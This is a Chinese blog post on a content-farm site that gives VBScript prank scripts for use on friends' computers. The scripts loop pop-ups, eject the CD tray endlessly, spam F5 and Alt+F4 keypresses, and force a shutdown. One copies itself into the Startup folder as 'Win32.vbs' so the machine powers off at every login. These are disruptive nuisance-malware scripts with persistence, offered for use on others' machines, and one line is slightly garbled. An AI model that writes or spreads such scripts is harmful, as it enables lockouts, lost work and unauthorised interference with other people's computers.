首页
/
每日頭條
/
科技
/
好玩的vbs代碼
好玩的vbs代碼
更新时间:2025-04-03 00:51:41

大家好!我是蒙面科技,第一次開通頭條号,給大家分享一個電腦整蠱代碼,實現起來特别簡單,隻用到電腦上的記事本即可。

大神勿噴·簡單教程,好了話不多說,開整!

第一步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)1

咱們先在自己電腦桌面新建一個TXT文本文檔即可

第二步:

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)2

輸入msgbox "一大波病毒正在靠近" 點擊文件->另存為->重命名為“新建文本文檔.vbs

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)3

雙擊“新建文本文檔.vbs”這個時候就會彈出一個對話框了

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)4

當然你還可以右鍵編輯裡面添加更多你想讓他彈出來的文字

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)5

雙擊打開。此時,會彈出提示對話框,點擊确定和關閉按鈕之後,再一次彈出窗口,如此循環,無法正常關閉。

好玩的vbs代碼(簡單VBS代碼實現整蠱朋友電腦)6

那麼到底要如何才能關閉呢?打開任務管理器結束進程“wscript.exe”即可

到此新手教學完畢,下面進入大神課堂教學。

無限彈出光驅:

------------------------------------------------

set wmp=createobject("wmplayer.ocx")

set cd=wmp.cdromcollection.item(0)

do

cd.eject

loop

------------------------------------------------

無盡語音報數:

無限語音從1數到無限大。

------------------------------------------------

Set s = CreateObject("sapi.spvoice")

i=0

do

s.speak i

i=i 1

loop

------------------------------------------------

無盡刷新:

慎用,如此刷新打開任務管理器都難,隻能拔掉電源。

------------------------------------------------

set ws=createobject("wscript.shell")

do

ws.sendkeys "{f5}"

loop

------------------------------------------------

修改注冊表:

------------------------------------------------

on error resume next

set wr=createobject("scripting.filesystemobject")

set ws=createobject("wscript.shell")

set f = wr.getfile(wscript.scriptfullname)

q=ws.regread("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup")

if not f="Win32.vbs" then wr.copyfile f,q&"\Win32.vbs",true

ws.run"shutdown -p",vbhide

------------------------------------------------

直接關機:

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00",0 ,true

------------------------------------------------

不斷按下alt f4 :

打開任何程序都關掉

------------------------------------------------

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

do

wscript.sleep 2500

WSHshell.SendKeys "%{F4}"

loop

------------------------------------------------

開玩笑也得有個度,凡事都不要太過。上面的代碼的尺度還不算很大,大家可以玩玩。

如你覺得蒙面科技寫的不錯,可以給蒙面科技一點小小的支持點個贊評論一下哦,如果你也喜歡計算機網絡技巧,可以點擊關注哦!

,
Comments
Welcome to tft每日頭條 comments! Please keep conversations courteous and on-topic. To fosterproductive and respectful conversations, you may see comments from our Community Managers.
Sign up to post
Sort by
Show More Comments
推荐阅读
手機如何壓縮文件
手機如何壓縮文件
手機如何壓縮文件?打開手機,在手機中打開系統工具,找到其中的文件管理并點擊打開,我來為大家講解一下關于手機如何壓縮文件?跟着小編一起來看一看吧!手機如何壓縮文件打開手機,在手機中打開系統工具,找到其中的文件管理并點擊打開。進入到文件管理界面...
2025-04-03
為什麼手機玩吃雞老是閃退
為什麼手機玩吃雞老是閃退
随着手遊絕地求生的降臨,也是掀起了一陣風波,越來越多的人都在開黑這款吃雞手遊,當然小編我也不例外,每天晚上和室友一起開黑,沒有吃到雞是不準睡覺的,你能想到嗎?每天都是熬着眼圈去上課,很多次都是由于中途遊戲閃退的原因,沒能成功吃雞,非常可惜也...
2025-04-03
硬盤分區列表丢失怎麼恢複
硬盤分區列表丢失怎麼恢複
硬盤的分區表,正常情況下,是不會發生丢失的情況,但凡是總有例外,碰到了我們總要知道如何處理,下面介紹的方法,就是如何處理硬盤分區表丢失!操作過程:1、首先,啟動我們的U盤PE系統,在PE系統裡我們找到diskgenius分區工具,并打開它;...
2025-04-03
蘋果哪一款手機的屏幕容易碎
蘋果哪一款手機的屏幕容易碎
蘋果哪一款手機的屏幕容易碎?在蘋果零售店的維修櫃台中,最常見的問題就是iPhone出現碎屏據不完全統計,四分之一的iPhone用戶體驗過手機碎屏的感受,下面我們就來聊聊關于蘋果哪一款手機的屏幕容易碎?接下來我們就一起去了解一下吧!蘋果哪一款...
2025-04-03
e31230v2單核性能怎麼樣
e31230v2單核性能怎麼樣
#E31230V2撿垃圾能入手嗎#導讀很多小夥伴沒事的時候可能也會逛逛DIY聚集地圖吧和卡吧,圖吧呢是以撿垃圾為主,主要就是一群大佬閑着沒事打造各種各樣的性價比主機,這裡的吧友主要以采購二手配件,蹲閑魚撿漏為主。那麼卡吧呢主要是以高端為主,...
2025-04-03
Copyright 2023-2025 - www.tftnews.com All Rights Reserved